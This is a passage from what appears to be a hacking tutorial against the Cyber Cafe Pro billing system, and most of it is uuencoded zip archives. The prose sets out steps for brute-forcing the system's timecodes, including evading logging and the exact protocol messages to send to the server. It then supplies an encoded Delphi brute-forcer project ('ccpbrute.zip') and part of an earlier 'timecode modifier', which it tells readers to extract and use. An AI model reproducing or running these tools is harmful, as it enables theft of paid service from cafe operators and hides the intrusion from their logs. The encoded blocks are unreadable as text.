M,/CS(Y`N4UJ.+Q*6<,H7(#B."P6)Q^,_-W!U649`X*Q0]+U(UI(/HI868[0A
M^&PQM/`2&6^HHTY//4I*M!;\)[0LI.1JU;ZAAE;;4X^24BU[+>>6UZH%GY##
M.,(8JEZNT(*CJ&&+RA;E7&F6J%'5$%H9WA%:@(B!%V$Q0+25D%&T`AQ)D4AK
MP5CH$%*M3FBULV+--]4"Q\!%K262ZY8T8^$P1&]/D4TMQE8M,2@M5\+214[C
MTJ+@'L^G,9!\"UZ]%JS@;*UA3^@">*[2%74FLKP.M\9R^PJ.A#*K6%H&!NMR
MTNL,L5ZIY_C?]YD^O[P6+5]!Q4V1+2J2,'(#T9N'J%52U$W<7N=/I*C7I+HL
M4XBS(O9"<&SCL0\D*G*%^2?&:`G9@FB)!<J$01XUD3"@B2>Z.H0'4T'0F@,D
MXTJ;/,C,0*<*(R%A!?G9=7QI1OAG8OQ`E+?B_(I#D=6'VIQ2!_G;>DZ+[*-@
MK9.*IR8@8$+)-YYL%<#2<C<E3V/2!TZ0P#5=X)$R,V`MM@5@>I5L24&R99:S
M+K!=9#VWBRSV+6`]N;_9)T;C_#/I+A/4-S.-E0(4VAS+^B;+L!8L6\+5\-:T
MSB6OV,^V])$8S'B?I'EYQWG^$5QRO6`PT#OW+B;AJ!<F_P1,00<F;/D?FOSO
M8?*Z,*&I-T9A-';'J`>LF"4L3T$67*OM=2!3(`G(%(!ZPRZR(9.N-RORNW)'
MFA/`D@5OD$IPC'WSC/F1KWN6916IZ[<2@IX<_B59_/$9O^?_(`R.<;Q]@SR<
MQO<F\NITJWD,AWC!L?=/F<$;-D/W@$_#KAF4D<ZS`ERE#MRE/X(!@F,#B)O7
MZP]9"(<F\L=7Z\2&?G($\/(I9Z\E3KT\0LE]V!'*&XA0K>/ZPVX<N":8]F5R
MY,9H^@UN//A9X1N\^EE[_%HEAUY+X/]DB/-\.3QEA6#8"A,531LK>(%E!G7)
MGV>&@6\XWR/^^!A_\5$*XJEHQ31](!+]6<KR1RN'$%*;PQ[H*;NFY;S@0WA\
MEZN@%<S?9HNT+&&>=VHF2>C8MQ,KPO;&:U[_`E!+`P04````"`!9/X(MJVN>
M>N(!```\!0``"0```%5N:70Q+G!A<Z53WV_3,!!^K]3_P0A$VZV*VHT)D:HO
ME,'+$-/2P@,"R7&NK6EB1_:E;)KVO^.S4SK:J'E`BI*[^[[[?:F41+9PK_&D
MV^EVI$(P2RZ`E,J"[788^R95IG_;(?L,UO(5."EYL`N4N9.^<B.Y0B?-<FXM
M@9\,+]=2D$DK-)IH'[4I[)"B?9`\URN*@=D,#8&)V.!,%^607=^CM_EB\*$$
M\IB3\YA-F:`,?:\."&`NIP2%XYC-@Y1HL0&<!/!]A:@5@4&JS7F:D^V&IY!#
M=IU)W`.7C4""'*68P[W/M->.X(LF."2_."QCS[L\'?1-$UP:+2"K#.RZ=/V+
M33\!E8%Q#E_27R!P<,2N!^86HQQ^R)^P,$":9V51%V[UP7(<J6[K1-[2R"U'
M"(Z/[#:H+`.W1^/ZT<JR)T^L4A?E+\]K#327P]_%EAM2_57$]76$ZRW*'`K7
MG_<BR^.K.W869<OBB;1]\<$I:IM="BOIXH@PM&BM+;)XZ@\EPK",'59JX[%W
M5Z/1,S,7*+=`P-Q4X(!=$T>U_,]F#NJT'HBL"T%5]GO?SUAO,#E%6/P(3POM
M11OA9>^<_B\_G?->&_OU/^S1Z"H>O6WS^=GD<UAY&'L\7?+<GIQZVQ77DUWS
M')^%<=^HV_D#4$L!`A0`%`````@`S#Z"+7*YB2^^````8`$```P`````````
M`0`@`+:!`````%!R;VIE8W0Q+F-F9U!+`0(4`!0````(`,P^@BUHQ36@.@(`
M`#<$```,``````````$`(`"V@>@```!0<F]J96-T,2YD;V902P$"%``4````
M"`#W.((MXB[6/8<```"\````#``````````!`"``MH%,`P``4')O:F5C=#$N
M9'!R4$L!`A0`%`````@`RCZ"+6C<.B#P````;`,```P````````````@`+:!
M_0,``%!R;VIE8W0Q+G)E<U!+`0(4`!0````(``1`@BV/48'-&P0``,H3```*
M``````````$`(`"V@1<%``!5;FET,2Y^9&9M4$L!`A0`%`````@`63^"+:MK
MGGKB`0``/`4```H``````````0`@`+:!6@D``%5N:70Q+GYP87-02P$"%``4
M````"`"50((M/EGQ]I\)```#%```"0```````````"``MH%D"P``56YI=#$N
M9&-U4$L!`A0`%`````@`%4""+71I*E8;!```U!,```D``````````0`@`+:!
M*A4``%5N:70Q+F1F;5!+`0(4`!0````(`%D_@BVK:YYZX@$``#P%```)````
M``````$`(`"V@6P9``!5;FET,2YP87-02P4&``````D`"0#]`0``=1L`````
`
end
sum -r/size 40979/10440 section (from "begin" to "end")
sum -r/size 39395/7560 entire input file


*CUT HERE*

_____________________________________________________________

Paste this into notepad and save it as 'ccp.uue' and Winzip should extract it for you, enjoy!

--------------------
Objective 3: Part 2
--------------------

Ok, well now that we have a timecode modifier, its time to build a timecode bruteforce. The basic principles we must observer are as follows:

1. Some form of stealth against logging must be taken

2. Measures have to be taken to compensate for the slow speeds of the servers responses

3. Atleast one timecode must be discovered within the first ten minutes of activation, otherwise the excercise is pointless

All of this taken into account, we can build a brute forcer. It should roughly follow these steps:

1. Send the following:
[*BM]P!
2. Pause and send:
[U][U][U]
3. Ping the server with:
[!]
4. Send the timecode to test:
[#01234]
5. Pause and send the next timecode to test

This really isnt too hard to do, so here is my code again written in Delphi 6 and UUEncoded:
_________m101's Cyber Cafe Pro Timecode Brute Forcer_________

*CUT HERE*

section 1 of uuencode 5.25 of file ccpbrute.zip    by R.E.M.

begin 644 ccpbrute.zip
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
